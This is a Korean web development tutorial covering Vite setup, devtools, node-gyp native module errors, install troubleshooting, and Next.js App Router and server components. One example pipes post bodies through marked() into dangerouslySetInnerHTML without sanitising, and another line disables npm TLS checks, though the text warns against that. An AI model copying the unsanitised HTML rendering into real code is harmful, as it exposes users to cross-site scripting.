백엔드는 node index.js 하나면 되지만 프런트엔드는 개발 서버가 필요합니다.
2026년 기준 Vite 가 사실상 표준이고, 명령 한 줄이면 프로젝트가 만들어집니다.
프로젝트 만들기 — 대화형 한 줄
pnpm create vite
# 또는 npm create vite@latest
# 또는 bun create vite
# 물어보는 것
# ✔ Project name: my-app
# ✔ Select a framework: Vue / React / Svelte / Solid / Vanilla …
# ✔ Select a variant: TypeScript ★ / JavaScript
cd my-app
pnpm install
pnpm dev # http://localhost:5173
# 물어보지 않게 한 줄로
pnpm create vite my-app --template vue-ts
pnpm create vite my-app --template react-ts
pnpm create vite my-app --template react-swc-ts # 더 빠른 React 변환
| 명령 | 하는 일 |
|---|---|
pnpm dev | 개발 서버 · HMR · 5173 포트 |
pnpm build | dist/ 에 배포용 파일 생성 |
pnpm preview | 빌드 결과를 실제처럼 확인 ★ |
pnpm create next-app / pnpm create nuxt 로 만듭니다.
이들은 서버 렌더링까지 포함한 프레임워크라 Vite 보다 배울 것이 많습니다.
처음이라면 Vite + Vue(또는 React) 로 시작해 구조를 익힌 뒤 넘어가는 편이 훨씬 수월합니다.
vite.config.ts — 처음 건드리게 되는 부분
import { defineConfig } from "vite";
import vue from "@vitejs/plugin-vue";
import path from "node:path";
export default defineConfig({
plugins: [vue()],
resolve: {
alias: {
"@": path.resolve(import.meta.dirname, "src"), // import "@/comp"
},
},
server: {
port: 3000, // 기본 5173 을 바꾸고 싶을 때
open: true, // 실행 시 브라우저 자동 열기
host: true, // ★ 같은 와이파이의 폰에서 접속 가능
proxy: {
// 개발 중 CORS 를 피하는 가장 쉬운 방법 ★
"/api": {
target: "http://localhost:8080",
changeOrigin: true,
},
},
},
build: {
outDir: "dist",
sourcemap: true, // 배포 후 에러 추적용
},
});
server.proxy 는 프런트 입문자가 가장 먼저 만나는 벽을 없애 줍니다.
fetch("/api/users") 라고만 써도 Vite 가 백엔드로 넘겨 주므로
CORS 오류를 볼 일이 없습니다. host: true 는
폰에서 실제 화면을 확인할 때 필수입니다.
브라우저 개발자도구 — 최소한 이 네 탭 🟢 기초
탭별 용도
| 탭 | 여기서 하는 일 |
|---|---|
| Console | 에러 메시지 · console.log · 즉석 실행 ★ |
| Elements | 실제 DOM 확인 · CSS 를 실시간으로 고쳐 보기 |
| Network | API 요청/응답 · 상태 코드 · 얼마나 느린지 ★ |
| Application | localStorage · 쿠키 · 서비스 워커 확인·삭제 |
| Sources | 중단점 디버깅 · Snippets |
| Performance | 렌더링이 왜 끊기는지 (나중에) |
바로 쓰는 단축키
F12 개발자도구 열기
Ctrl+Shift+C 요소 선택 모드 (클릭한 곳의 코드로)
Ctrl+Shift+M 모바일 화면 크기 흉내
Ctrl+Shift+P (도구 안에서) 명령 팔레트 — "screenshot" 등
Ctrl+Shift+R 캐시 무시하고 새로고침 ★
Network 탭에서 꼭 볼 것
Status 200 정상 · 401 인증 · 404 없음 · 500 서버 오류
Payload 내가 보낸 값
Response 서버가 준 값 ← "화면이 비었어요" 의 답이 여기 있습니다
Tailwind CSS 붙이기 — 2026 방식
pnpm add -D tailwindcss @tailwindcss/vite
// vite.config.ts
import tailwindcss from "@tailwindcss/vite";
export default defineConfig({
plugins: [vue(), tailwindcss()], // ★ 이 한 줄이 끝
});
/* src/style.css */
@import "tailwindcss";
tailwind.config.js 와 postcss.config.js 를 만들고
content 경로를 적어야 했지만, 이제 Vite 플러그인 한 줄 + CSS 한 줄이면 됩니다.
옛날 블로그를 따라 하다가 안 되면 버전 차이를 의심하세요.
프런트에서도 환경 변수를 씁니다
# .env — ★ VITE_ 로 시작하는 것만 브라우저에 노출됩니다
VITE_API_URL=http://localhost:8080
SECRET_KEY=이건_노출되지_않습니다
const api = import.meta.env.VITE_API_URL; // ★ process.env 가 아닙니다
console.log(import.meta.env.MODE); // "development" | "production"
console.log(import.meta.env.DEV); // true / false
pnpm create vite 한 줄로 프로젝트가 만들어지고
pnpm dev 로 개발 서버가 뜹니다. 빠른 이유는 개발 중 번들을 안 만들기 때문이고,
server.proxy 로 CORS 를 피하며, 배포 전에는 반드시 build + preview 로 확인합니다.
프런트 환경 변수는 VITE_ 접두사가 붙은 것만, 그리고 비밀이 아닌 것만 넣습니다.네이티브 모듈 — node-gyp 이 필요해지는 순간
sharp·better-sqlite3·bcrypt 를 설치하다 알 수 없는 C++ 에러를 만나는 날이 옵니다.
원인은 하나입니다 — 그 패키지 안에 C/C++ 코드가 들어 있고, 내 PC 에서 컴파일해야 하는데 컴파일러가 없다는 것.
어떤 패키지가 네이티브인가
| 패키지 | 하는 일 · 상태 |
|---|---|
sharp | 이미지 변환. 대부분 미리 빌드본 제공 |
better-sqlite3 | SQLite. 새 Node 메이저 직후엔 빌드 필요할 때가 있음 |
bcrypt | 비밀번호 해시. bcryptjs 로 대체 가능 ★ |
canvas | 서버에서 그림 그리기. 의존성이 많고 까다로움 |
node-sass | 폐기. sass(순수 JS)로 바꾸세요 ★ |
puppeteer | C++ 는 아니지만 크로미움을 통째로 내려받음 |
# 지금 프로젝트에 네이티브 모듈이 있는지 확인
ls node_modules/**/binding.gyp 2>/dev/null
ls node_modules/**/*.node 2>/dev/null
# 설치 로그에서 이런 줄이 보이면 네이티브입니다
# node-pre-gyp install --fallback-to-build
# gyp info spawn ...
# Building: /usr/bin/make
bcrypt → bcryptjs, node-sass → sass,
sqlite3 → node:sqlite(Node 22+ 내장) 처럼
순수 JS 대체재가 있는지 먼저 찾아보세요. 성능이 조금 손해여도
설치가 항상 성공한다는 가치가 대개 더 큽니다.
빌드 도구 갖추기 — OS 별
# ── Windows ──
# ★ windows-build-tools 패키지는 폐기됐습니다. 쓰지 마세요.
# (npm i -g windows-build-tools 는 이제 실패하거나 망가집니다)
# 방법 ① Visual Studio Build Tools 를 직접 설치 (권장)
winget install Microsoft.VisualStudio.2022.BuildTools
# 설치기에서 "C++ 를 사용한 데스크톱 개발" 워크로드 체크
# 방법 ② Node 설치 마법사의 "Tools for Native Modules" 체크
# (st02 에서 껐다면 설치 프로그램을 다시 실행해 켜면 됩니다)
winget install Python.Python.3.12
npm config set msvs_version 2022 # 필요할 때만
# ── macOS ──
xcode-select --install # Command Line Tools (수 GB)
python3 --version
# ── Ubuntu / Debian ──
sudo apt install -y build-essential python3 pkg-config
# build-essential 안에 gcc · g++ · make 가 들어 있습니다
# ── Alpine (도커) ──
apk add --no-cache python3 make g++
node:24-alpine 은 가볍지만
musl libc 를 써서 미리 빌드된 바이너리가 안 맞는 경우가 있습니다.
sharp 같은 패키지에서 실패한다면 node:24-slim(데비안 기반)으로
바꾸는 것만으로 해결되는 일이 많습니다.
한 단계 더 — 실제 에러 읽는 법 🟡 중급
전형적인 오류 세 가지
① gyp ERR! find Python
gyp ERR! find Python Python is not set from command line
gyp ERR! find Python You need to install the latest version of Python
→ 파이썬이 없거나 PATH 에 없습니다
② gyp ERR! find VS
gyp ERR! find VS msvs_version not set from command line
gyp ERR! find VS could not find a version of Visual Studio 2017+
→ 윈도우에 C++ 빌드 도구가 없습니다
③ error: no member named 'IsNearDeath' in 'v8::PersistentBase'
→ 패키지가 옛 Node API 를 씁니다.
그 패키지가 아직 내 Node 버전을 지원하지 않는 것입니다 ★
# 로그 전문 보기 — 진짜 원인은 보통 중간쯤에 있습니다
npm i --foreground-scripts --loglevel verbose
cat ~/.npm/_logs/*-debug-0.log | tail -100
# 그 패키지가 어떤 Node 를 지원하는지 확인
npm view sharp engines
npm view better-sqlite3 versions --json | tail -20
막혔을 때의 순서 — 위에서부터
| 순서 | 할 일 |
|---|---|
| 1 | 패키지를 최신 버전으로 올려 봅니다 — 바이너리가 새로 올라왔을 수 있습니다 |
| 2 | node_modules 지우고 캐시 없이 재설치 |
| 3 | Node 를 이전 LTS 로 낮춰 봅니다(fnm 이 있으면 30초) |
| 4 | 순수 JS 대체재가 있는지 찾습니다 |
| 5 | 그래도 필요하면 빌드 도구를 설치합니다 |
# 1~2번 실행
pnpm up sharp --latest
rm -rf node_modules
pnpm store prune
pnpm i
# 3번 — fnm 이 있으면 이것이 가장 빠른 확인법
fnm use 22
rm -rf node_modules && pnpm i
# → 되면 "Node 24 를 아직 지원 안 함" 이 확정됩니다
# 빌드를 아예 건너뛰고 미리 빌드본만 쓰게 강제
npm i sharp --build-from-source=false
npm_config_build_from_source=false pnpm i
Ignored build scripts 경고가 뜨면서 동작하지 않습니다.
pnpm approve-builds 를 실행해 허용하거나,
package.json 의 pnpm.onlyBuiltDependencies 에 패키지 이름을 넣어 주세요.
docker compose up 으로 리눅스 안에서 설치·실행하면
“내 PC 환경” 문제 자체가 사라집니다. 팀 전체가 같은 환경을 쓰게 되는 것은 덤입니다.
windows-build-tools 는 폐기됐으니 VS Build Tools 를 직접 깔고,
막히면 패키지 업그레이드 → Node 낮추기 → 순수 JS 대체재 순으로 시도하세요.설치 문제 사전 — 증상 → 원인 → 해결
실무에서 실제로 겪는 오류를 메시지 그대로 모았습니다. 검색하기 전에 여기서 먼저 찾아보세요. 대부분 한두 줄로 끝납니다.
| 증상 (실제 메시지) | 원인 | 해결 |
|---|---|---|
'node'은(는) 내부 또는 외부 명령이 아닙니다command not found: node |
PATH 에 없거나, 설치 후 터미널을 새로 안 열었음 | 터미널을 새로 열기 → where.exe node / which -a node →
없으면 PATH 추가(st05) |
npx : 이 시스템에서 스크립트를 실행할 수 없으므로 … .ps1 파일을 로드할 수 없습니다 |
PowerShell 실행 정책이 Restricted |
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned잠겨 있으면 npx.cmd 를 쓰거나 Git Bash |
npm ERR! code EACCESpermission denied |
전역 설치 경로가 시스템 영역(root 소유) | sudo 를 더 쓰지 마세요.
npm config set prefix ~/.npm-global 또는 fnm 사용(st04) |
npm ERR! code ERESOLVEunable to resolve dependency tree |
peer dependency 버전이 서로 맞지 않음 | 먼저 해당 패키지를 최신으로. 급하면 --legacy-peer-deps
(임시방편입니다) |
gyp ERR! find VSgyp ERR! find Python |
네이티브 모듈인데 빌드 도구가 없음 | 패키지 업그레이드 → Node 낮추기 → 순수 JS 대체재 → 빌드 도구 설치(st11) |
Error: EADDRINUSE: address already in use :::3000 |
같은 포트를 다른 프로세스가 이미 쓰고 있음 | 아래 “포트 점유” 명령으로 찾아 종료하거나 포트를 바꿉니다 |
SELF_SIGNED_CERT_IN_CHAINUNABLE_TO_GET_ISSUER_CERT_LOCALLY |
회사 프록시가 TLS 를 중간에서 다시 서명 | 사내 루트 인증서를 NODE_EXTRA_CA_CERTS 로 지정.
strict-ssl=false 는 최후의 수단 |
ETIMEDOUT · ECONNREFUSED · ENOTFOUND registry.npmjs.org |
프록시 설정 누락 · 사내망 차단 | .npmrc 에 proxy·https-proxy·registry 설정(st06) |
Cannot find module 'X'분명히 설치했는데 |
다른 Node 버전에 설치 · node_modules 손상 · 유령 의존성 |
node -v 확인 → package.json 에 실제로 적혀 있는지 확인 → 재설치 |
ERR_MODULE_NOT_FOUNDDid you mean to import ./util.js? |
ESM 에서 확장자를 빠뜨림 | import "./util.js" 처럼 확장자를 붙입니다(st07) |
Cannot use import statement outside a module |
package.json 에 "type": "module" 이 없음 |
npm pkg set type=module 또는 파일을 .mjs 로 |
tsc 는 통과하는데 편집기만 빨간 줄 |
VS Code 가 내장 TS 를 쓰고 있음 | TypeScript: Select Version → Use Workspace Version(st08) |
버전을 바꿨는데 node -v 가 그대로 |
PATH 앞자리를 다른 설치본이 차지하고 있음 | where.exe node / which -a node 로 목록 확인 → 순서 조정(st05) |
Ignored build scripts: sharp (pnpm) |
pnpm 10 이 설치 스크립트를 기본 차단 | pnpm approve-builds 또는 pnpm.onlyBuiltDependencies 에 추가 |
| 경로에 한글·공백이 있을 때의 알 수 없는 실패 | 일부 도구가 경로를 제대로 처리 못 함 | 프로젝트를 C:\dev\my-app 처럼 영문·공백 없는 경로로 옮깁니다 |
EPERM: operation not permitted, unlink (윈도우) |
파일을 다른 프로그램이 잡고 있음(에디터·백신·실행 중인 서버) | 서버 종료 → VS Code 종료 → 백신 실시간 검사에서 프로젝트 폴더 제외 |
포트 점유 — 3000 번을 누가 쓰고 있나
# ── Windows (PowerShell) ──
netstat -ano | findstr :3000
# TCP 0.0.0.0:3000 … LISTENING 18244 ← 맨 끝이 PID
tasklist /FI "PID eq 18244" # 무슨 프로그램인지 확인
taskkill /PID 18244 /F # 강제 종료
# 더 간단한 방법
Get-NetTCPConnection -LocalPort 3000 | Select-Object OwningProcess
Stop-Process -Id 18244 -Force
# ── macOS · Linux ──
lsof -i :3000
kill -9 $(lsof -t -i:3000)
# ★ 아예 다른 포트로 피하기
PORT=3001 pnpm dev
pnpm dev --port 3001 # Vite
Ctrl+C 로 껐어도 --watch 자식 프로세스가 남거나,
VS Code 의 다른 터미널 탭에서 아직 돌고 있을 수 있습니다.
포트를 찾기 전에 터미널 탭들을 먼저 훑어보세요.
사내 프록시 · 자체 서명 인증서
# 증상
# npm ERR! code SELF_SIGNED_CERT_IN_CHAIN
# Error: unable to verify the first certificate
# ✅ 올바른 해결 — 사내 루트 인증서를 Node 에 알려 줍니다
# (보안팀에서 .crt / .pem 파일을 받습니다)
setx NODE_EXTRA_CA_CERTS "C:\certs\corp-root.crt" # 윈도우
export NODE_EXTRA_CA_CERTS=/etc/ssl/certs/corp-root.pem # 맥·리눅스
npm config set cafile /etc/ssl/certs/corp-root.pem
# ❌ 검색하면 제일 먼저 나오는 방법 — 쓰지 마세요
npm config set strict-ssl false
# 중간자 공격에 그대로 노출됩니다.
# 꼭 써야 한다면 그 자리에서만 쓰고 즉시 되돌리세요:
npm config delete strict-ssl
npm install 이 아예 안 될 때 순서①
npm config get registry — 사내 미러를 써야 하는지 확인②
npm config get proxy https-proxy — 프록시 설정 확인③
NODE_EXTRA_CA_CERTS 설정④ 그래도 안 되면 사내 위키·인프라팀에
.npmrc 표준 설정이 있는지 물어보세요.
대부분의 회사에는 이미 정해진 값이 있습니다.
최후의 수단 — 깨끗하게 다시 설치하기 🟢 기초
단계별 초기화 — 위험한 순으로
# ① 가장 안전 — node_modules 만 지우기 (거의 항상 이걸로 해결)
rm -rf node_modules
pnpm i
# ② 캐시까지 (참조 없는 파일만 지웁니다)
pnpm store prune
npm cache verify
# ③ lockfile 삭제 ★ 여기부터는 신중하게
# 버전이 통째로 올라갈 수 있습니다. 커밋 전에 반드시 테스트하세요
rm -rf node_modules pnpm-lock.yaml
pnpm i
# ④ 전역 캐시 완전 삭제 (거의 필요 없습니다)
npm cache clean --force
# ── 윈도우 PowerShell 버전 ──
Remove-Item -Recurse -Force node_modules
Remove-Item -Force pnpm-lock.yaml
pnpm i
node -v · which -a node ·
로그 중간 줄 — 이 세 가지를 먼저 보세요.
환경을 통째로 점검하는 한 줄들
# 지금 환경 요약
node -v; npm -v; pnpm -v; tsc -v 2>$null
npm config get prefix
npm config get registry
npm doctor # ★ npm 이 스스로 진단합니다
# 어디에서 실행되고 있나
where.exe node npm pnpm # 윈도우
which -a node npm pnpm # 맥 · 리눅스
# 프로젝트가 어떤 버전을 요구하나
cat .node-version 2>/dev/null || cat .nvmrc 2>/dev/null
node -p "require('./package.json').engines"
# 전역에 뭐가 깔려 있나 (깜짝 놀랄 때가 있습니다)
npm ls -g --depth=0
pnpm ls -g --depth=0
fnm install 24 →
③ corepack enable pnpm(st06) → ④ VS Code + 확장 3종(st08) →
⑤ git config --global core.autocrlf input →
⑥ 프로젝트 클론 후 pnpm i. 여기까지 15분이면 끝납니다.
where.exe node / which -a node · npm doctor · 로그 중간 줄 셋이 진단의 출발점이고,
재설치는 언제나 마지막 수단입니다.리액트를
서비스로
만드는 자리
리액트 탭에서 화면 = f(상태) 까지 왔습니다. 그런데 실제 서비스에는 검색 노출 · 첫 화면 속도 · DB 접근 · 로그인 · 배포가 남습니다. Next.js 는 이 전부를 "HTML 을 언제 어디서 만드는가" 하나로 다시 정리한 프레임워크입니다. 이 탭은 App Router · 서버 컴포넌트 · 캐싱 · Server Actions 를 축으로, 블로그 + 관리자 하나를 실제로 배포하는 데까지 갑니다. 여기까지 마치면 "이 화면은 어디서 렌더되고 어디에 캐시되는가"를 스스로 설계할 수 있습니다.
Next.js 가 푸는 문제 — SPA 로는 못 넘는 벽
리액트만으로도 화면은 잘 만들었습니다. 그런데 서비스를 열자마자 검색에 안 잡히고, 첫 화면이 늦고, DB 비밀번호를 브라우저에 둘 수 없다는 세 개의 벽이 나타납니다. Next.js 는 이 셋을 전부 "HTML 을 언제 어디서 만드는가" 를 바꿔서 풉니다.
CSR 만으로 안 되는 세 가지
<!-- Vite + React 로 만든 앱을 '소스 보기' 하면 이게 전부입니다 -->
<div id="root"></div>
<script type="module" src="/assets/index-a3f1.js"></script>
- ① 검색·공유 — 크롤러와 카카오톡·슬랙 미리보기 봇은 대체로 JS 를 실행하지 않거나 아주 늦게 실행합니다. 위 HTML 에는 제목도 본문도 없으니 빈 페이지로 수집됩니다
- ② 첫 화면 — JS 번들 내려받기 → 실행 → API 호출 → 응답 → 그제서야 화면. 흰 화면 구간이 네트워크가 느릴수록 길어집니다
- ③ 데이터 접근 — 브라우저 코드에는 DB 접속 정보나 API 키를 둘 수 없습니다. 그래서 결국 API 서버를 따로 만들게 됩니다 — 화면 저장소 하나, 서버 저장소 하나, 타입은 손으로 맞추는 생활이 시작됩니다
Next.js 가 바꾸는 지점
// app/posts/[slug]/page.tsx — 파일 하나가 곧 페이지입니다
// ★ 이 함수는 '서버에서' 실행됩니다. 브라우저 번들에 안 들어갑니다.
import { db } from "@/lib/db";
export default async function PostPage(
{ params }: { params: Promise<{ slug: string }> } // Next 15+ 는 Promise
) {
const { slug } = await params;
const post = await db.post.findUnique({ where: { slug } }); // DB 직접
return (
<article>
<h1>{post.title}</h1>
<p>{post.body}</p>
</article>
);
}
// 결과: 사용자와 크롤러가 받는 HTML 안에 제목·본문이 '이미' 들어 있습니다.
// API 서버도, fetch 도, 로딩 스피너도 없습니다.
용어 정리 — SSG · ISR · SSR · PPR 을 한 표로 🟡 중급
| 전략 | HTML 을 만드는 시점 | 쓰는 자리 · 대가 |
|---|---|---|
| SSG 정적 생성 | 빌드할 때 한 번 | 문서 · 블로그 글 · 이용약관. 가장 빠르고 가장 쌉니다. 대가 — 내용을 바꾸려면 다시 빌드·배포해야 합니다 |
| ISR 증분 재생성 | 빌드 때 + 이후 revalidate 주기마다 |
상품 목록 · 기사 · 순위표. SSG 의 속도에 갱신을 얹은 것이라 2026년 콘텐츠 페이지의 기본값입니다. 대가 — 최대 N초 낡은 화면을 볼 수 있습니다 |
| SSR 요청 렌더 | 요청이 올 때마다 | 사람마다 다른 화면(장바구니 · 대시보드 · 내 주문). 대가 — 서버 비용과 지연이 요청 수에 비례합니다 |
| PPR 부분 사전 렌더 | 껍데기는 빌드 때, 구멍은 요청 때 | "헤더·상품 정보는 모두 같고, 재고·추천만 다르다" 같은 섞인 페이지. SSG 의 첫 바이트에 SSR 의 개인화를 얹습니다 |
| CSR 클라이언트 | 브라우저에서 (Next 안에서도 씁니다) | 차트 · 에디터 · 지도처럼 서버가 그려 봤자 의미 없는 것.
Next 에서는 "use client" 컴포넌트가 이 자리입니다 |
cookies() 를 쓰면 SSR 이 되고, revalidate 를 적으면 ISR 이 되고,
아무것도 안 쓰면 SSG 가 됩니다. 내가 쓴 코드가 전략을 결정합니다(f06 에서 자세히).
그래서 무엇을 고르나 — Next · Astro · React Router 7 🟡 중급
시작하기 — 5분
# Node 20 이상 (24 LTS 권장) 이면 됩니다
node -v
npx create-next-app@latest my-app
# ✔ TypeScript? → Yes
# ✔ ESLint? → Yes
# ✔ Tailwind CSS? → Yes (f10 에서 씁니다)
# ✔ `src/` directory? → Yes (취향, 이 탭은 src/ 기준)
# ✔ App Router? → Yes ★ 반드시
# ✔ Turbopack? → Yes (Next 16 은 기본값)
# ✔ import alias (@/*)? → Yes
cd my-app
npm run dev # http://localhost:3000
npm run build # 프로덕션 빌드 — 페이지별 전략이 표로 출력됩니다
npm run start # 빌드 결과를 실행
npm run build 의 출력표를 꼭 보세요.
페이지마다 ○ Static · ƒ Dynamic 같은 기호가 붙습니다 —
내가 의도한 전략이 실제로 적용됐는지 확인하는 가장 빠른 방법이고,
f06 에서 이 표를 읽는 법을 다룹니다.
Pages Router 를 마주쳤을 때
| Pages Router (구) | App Router (현재) |
|---|---|
pages/about.tsx | app/about/page.tsx |
getServerSideProps | 서버 컴포넌트에서 await |
getStaticProps | 그냥 fetch + revalidate |
getStaticPaths | generateStaticParams |
_app.tsx·_document.tsx | app/layout.tsx 하나 |
next/head | metadata·generateMetadata |
pages/api/*.ts | app/api/*/route.ts |
useRouter(next/router) | next/navigation 의 훅들 |
getServerSideProps 가 보이면 옛 문법이라고 판단하세요.
이 탭은 App Router 만 다룹니다.
App Router 구조 — 폴더가 곧 URL, 파일 이름이 곧 역할
라우터 설정 파일이 없습니다. app/ 아래의 폴더 이름이 주소가 되고,
파일 이름이 그 자리의 역할을 정합니다. 규약을 여덟 개만 외우면 구조가 전부 읽힙니다.
특수 파일 여덟 개
| 파일 | 역할 |
|---|---|
page.tsx | 그 주소의 화면. 이 파일이 있어야 라우트가 생깁니다 |
layout.tsx | 아래 전부를 감싸는 껍데기. 이동해도 다시 안 그려짐 |
template.tsx | layout 과 같지만 이동마다 새로 만듭니다(진입 애니메이션 등) |
loading.tsx | 있으면 그 경계가 자동으로 Suspense 로 감싸집니다 |
error.tsx | 렌더 중 예외를 잡는 경계. "use client" 필수 |
not-found.tsx | notFound() 호출 또는 404 일 때 |
route.ts | 화면이 아니라 HTTP 응답을 만듭니다(f07) |
default.tsx | 병렬 라우트가 복원 못 할 때의 기본 화면 |
page.tsx 와 route.ts 는 같은 폴더에 둘 수 없습니다.
한 주소가 화면이면서 동시에 API 일 수는 없기 때문입니다.
폴더를 나누세요 — app/posts/page.tsx 와 app/api/posts/route.ts.
루트 레이아웃 — 프로젝트에 딱 하나
// src/app/layout.tsx
import type { Metadata } from "next";
import "./globals.css";
export const metadata: Metadata = {
title: { default: "내 블로그", template: "%s · 내 블로그" },
description: "혼자 만드는 기술 블로그",
};
export default function RootLayout({
children,
}: { children: React.ReactNode }) {
return (
<html lang="ko" suppressHydrationWarning>
<body>
<Header />
{children} {/* ★ 하위 layout · page 가 여기로 들어옵니다 */}
<Footer />
</body>
</html>
);
}
<html> 과 <body> 는 루트 레이아웃에서만 씁니다 —
Next 가 이 두 태그를 직접 만들지 않기 때문입니다.
suppressHydrationWarning 은 다크 모드 스크립트가 class 를
미리 바꿔 놓을 때 나는 경고를 막는 관용구입니다(f10).
주소를 만드는 문법 — 그룹 · 동적 세그먼트 🟡 중급
폴더 이름 규칙
app/about/page.tsx → /about
app/blog/page.tsx → /blog
[id] 동적 세그먼트 → /post/42 params.id = "42"
[...slug] 포괄 세그먼트 → /docs/a/b/c params.slug = ["a","b","c"]
[[...slug]] 선택 포괄 → /docs 와 /docs/a 둘 다 매칭
(group) 라우트 그룹 → 주소에 나타나지 않음
레이아웃만 나누고 싶을 때
_folder 비공개 폴더 → 라우팅에서 완전히 제외
컴포넌트·유틸을 라우트 옆에 둘 때
@slot 병렬 라우트 → layout 이 props 로 받음
(.)folder 인터셉트 라우트 → (.)같은 층 (..)한 층 위 (...)루트
// app/blog/[...slug]/page.tsx
export default async function Doc(
{ params }: { params: Promise<{ slug: string[] }> }
) {
const { slug } = await params; // ["2026","08","hello"]
return <article>{slug.join(" / ")}</article>;
}
params 와 searchParams 는 Promise 입니다.
await 없이 params.id 를 쓰면 경고 또는 에러가 납니다.
옛 예제를 복사할 때 가장 자주 걸리는 지점입니다.
라우트 그룹이 실제로 쓰이는 모양
src/app/
layout.tsx ← 공통 (html/body/폰트)
(marketing)/ ← 주소에 안 나옴
layout.tsx ← 큰 헤더 + 푸터
page.tsx → /
pricing/page.tsx → /pricing
(app)/ ← 로그인 뒤 화면
layout.tsx ← 사이드바 + 상단 바
dashboard/page.tsx → /dashboard
settings/page.tsx → /settings
(auth)/ ← 로그인/가입
layout.tsx ← 가운데 정렬 카드
login/page.tsx → /login
- 같은 주소 계층인데 껍데기가 달라야 할 때 그룹을 씁니다 —
/는 마케팅 헤더,/dashboard는 사이드바 - 그룹 폴더는 주소에 흔적을 남기지 않습니다(
/(app)/dashboard아님) - 그룹 안에
layout.tsx를 두지 않으면 그냥 폴더 정리용으로만 쓸 수도 있습니다 - 루트
page.tsx를 그룹 안에 넣을 수 있지만 두 그룹이 같은 주소를 만들면 빌드가 실패합니다
_components 를 라우트 폴더 옆에 두면
"그 페이지에서만 쓰는 컴포넌트"를 바로 옆에 둘 수 있습니다.
기능 단위로 뭉치는 리액트의 features/ 구조가
App Router 에서는 라우트 폴더 그 자체가 됩니다.
한 단계 더 — 병렬 라우트와 인터셉트 🔴 실무
병렬 라우트 — 한 화면에 두 개의 라우트
app/dashboard/
layout.tsx
page.tsx
@team/page.tsx ← 슬롯 1
@analytics/page.tsx ← 슬롯 2
@team/loading.tsx ← 슬롯마다 독립된 로딩!
// app/dashboard/layout.tsx
export default function Layout({
children, team, analytics, // ★ 슬롯이 props 로 들어옵니다
}: {
children: React.ReactNode;
team: React.ReactNode;
analytics: React.ReactNode;
}) {
return (
<section>
{children}
<div className="grid grid-cols-2 gap-4">
{team}
{analytics}
</div>
</section>
);
}
인터셉트 — 목록에서 누르면 모달, 새로고침하면 페이지
app/
feed/page.tsx 목록
photo/[id]/page.tsx ← 직접 접근 시 전체 페이지
feed/@modal/(..)photo/[id]/page.tsx
← 목록에서 클릭하면 모달로 가로챔
feed/@modal/default.tsx ← 모달 없을 때 (null 반환)
// feed/@modal/(..)photo/[id]/page.tsx
import { Modal } from "@/app/_components/modal";
export default async function PhotoModal(
{ params }: { params: Promise<{ id: string }> }
) {
const { id } = await params;
return (
<Modal>
<Photo id={id} />
</Modal>
);
}
이동하기 — Link 와 프로그램적 이동
import Link from "next/link";
<Link href="/posts/42">글 보기</Link>
<Link href={{ pathname: "/search", query: { q: "next" } }}>검색</Link>
<Link href="/heavy" prefetch={false}>미리 안 받기</Link>
// 클라이언트 컴포넌트에서 코드로 이동
"use client";
import { useRouter, usePathname, useSearchParams } from "next/navigation";
const router = useRouter();
router.push("/dashboard"); // 뒤로 가기 기록 남김
router.replace("/login"); // 기록 대체 (로그인 후에)
router.refresh(); // ★ 서버 컴포넌트만 다시 가져오기
// 서버 컴포넌트/액션에서는 함수를 씁니다
import { redirect, notFound } from "next/navigation";
if (!post) notFound();
if (!session) redirect("/login");
자주 막히는 지점
| 증상 | 원인 |
|---|---|
| 페이지가 404 | 폴더는 만들었는데 page.tsx 가 없음 |
params 가 Promise 라고 나옴 | Next 15+ — await params |
useRouter 가 undefined | next/router 를 임포트함. next/navigation |
| error.tsx 가 안 잡음 | 레이아웃에서 난 에러는 같은 층 error 가 못 잡습니다. 상위에 두세요 |
| 레이아웃이 계속 리마운트 | template.tsx 를 쓰고 있음 |
| 404 화면이 밋밋함 | 루트 app/not-found.tsx 를 안 만듦 |
redirect() 는 예외를 던져서 동작합니다 —
try/catch 안에서 부르면 catch 에 걸려 리다이렉트가 사라집니다.
반드시 try 블록 바깥에서 부르세요.
Server Action(f05)에서 특히 자주 겪는 사고입니다.
page·layout·loading·error·route
다섯 개면 90% 를 만들고, (group) 으로 껍데기를 나누고
[id]·[...slug] 로 주소를 받습니다.
Next 15 부터 params·searchParams 는 await 해야 한다는 것만
기억하면 옛 예제에 걸리지 않습니다.서버 컴포넌트 — "use client" 가 진짜로 바꾸는 것
App Router 에서 모든 컴포넌트는 기본이 서버 컴포넌트입니다.
리액트 탭에서 배운 훅과 이벤트 핸들러가 여기서는 안 됩니다.
왜 안 되는지, 그리고 "use client" 한 줄이 무엇을 뒤집는지가
Next 를 쓸 때 가장 자주 헷갈리는 지점입니다.
"use client" 는 "이 파일부터 아래로 전부 브라우저에도 보낸다"는 선언입니다.서버 컴포넌트 — 기본값
// app/posts/page.tsx — 아무 표시도 없으면 '서버'입니다
import { db } from "@/lib/db";
import { marked } from "marked"; // 250KB, 브라우저로 안 감
export default async function Posts() { // ★ async 가 됩니다
const posts = await db.post.findMany({ orderBy: { id: "desc" } });
return (
<ul>
{posts.map((p) => (
<li key={p.id} dangerouslySetInnerHTML={{ __html: marked(p.body) }} />
))}
</ul>
);
}
// 여기서 되는 것
// await · DB 접근 · 파일 시스템 · process.env.SECRET · 무거운 라이브러리
// 여기서 안 되는 것
// useState · useEffect · onClick · window · localStorage
useEffect + fetch + 로딩 상태 세 줄이
await 한 줄로 줄어드는 이유가 이것입니다.
"use client" — 상호작용이 필요한 자리
// app/_components/like-button.tsx
"use client"; // ★ 파일 맨 위, 임포트보다 먼저
import { useState } from "react";
import { Icon } from "./icon"; // 이 파일도 자동으로 클라이언트가 됨
export function LikeButton({ id, initial }: { id: number; initial: number }) {
const [n, setN] = useState(initial);
return (
<button onClick={() => setN(n + 1)}>
<Icon name="heart" /> {n}
</button>
);
}
// 서버 컴포넌트에서 그냥 가져다 씁니다 (임포트 방향은 서버 → 클라이언트 OK)
import { LikeButton } from "./_components/like-button";
export default async function Page() {
const post = await db.post.findFirst();
return <LikeButton id={post.id} initial={post.likes} />;
}
"use client" 파일에서 서버 컴포넌트를 임포트하면
그 서버 컴포넌트도 클라이언트로 끌려갑니다.
서버 컴포넌트를 클라이언트 안에 넣고 싶으면 임포트가 아니라
children 으로 넘기세요(아래에서 다룹니다).
경계 위에서 오가는 것 — 직렬화 가능한 props 🟡 중급
넘길 수 있는 것 · 없는 것
| 서버 → 클라이언트로 넘길 수 있음 | 못 넘김 |
|---|---|
| 문자열 · 숫자 · 불리언 · null | 함수 (Server Action 은 예외) |
| 배열 · 일반 객체 (중첩 포함) | 클래스 인스턴스 · Symbol |
